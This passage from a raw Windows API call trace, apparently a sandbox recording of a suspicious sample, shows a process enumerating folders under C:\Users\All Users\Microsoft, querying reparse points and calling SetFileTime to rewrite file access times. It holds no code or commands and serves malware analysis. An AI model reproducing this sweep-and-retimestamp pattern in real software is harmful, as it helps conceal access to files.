hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0091.446] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.447] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6b98 [0091.447] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.448] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0091.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.448] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.448] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.449] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6bb8 [0091.449] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.450] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.450] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0091.450] GetLastError () returned 0x12 [0091.450] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.450] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.450] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.450] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0091.450] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0091.450] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0091.450] GetLastError () returned 0x12 [0091.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.451] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.451] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.451] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1 [0091.451] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN" (normalized: "c:\\users\\all users\\microsoft\\msdn"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.452] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN" (normalized: "c:\\users\\all users\\microsoft\\msdn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.452] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.452] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.452] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.453] NtClose (Handle=0x170) returned 0x0 [0091.453] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.453] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.454] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0091.454] GetLastError () returned 0x12 [0091.454] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.454] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.454] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0091.454] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.454] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.455] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.455] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.455] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.455] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.455] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.455] NtClose (Handle=0x170) returned 0x0 [0091.456] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.456] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.456] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.457] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.457] GetLastError () returned 0x12 [0091.457] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.457] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.457] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.457] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.457] GetLastError () returned 0x12 [0091.457] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.457] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.458] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0091.458] GetLastError () returned 0x12 [0091.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.458] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.459] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="")) returned 1 [0091.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework" (normalized: "c:\\users\\all users\\microsoft\\netframework"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.460] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework" (normalized: "c:\\users\\all users\\microsoft\\netframework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.460] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.460] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.460] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.461] NtClose (Handle=0x15c) returned 0x0 [0091.461] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.461] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.462] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.462] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.462] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="")) returned 1 [0091.462] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="")) returned 0 [0091.462] GetLastError () returned 0x12 [0091.462] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.462] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.462] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.462] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="")) returned 1 [0091.462] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.463] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.463] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.463] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.463] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.463] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.464] NtClose (Handle=0x15c) returned 0x0 [0091.464] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.464] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 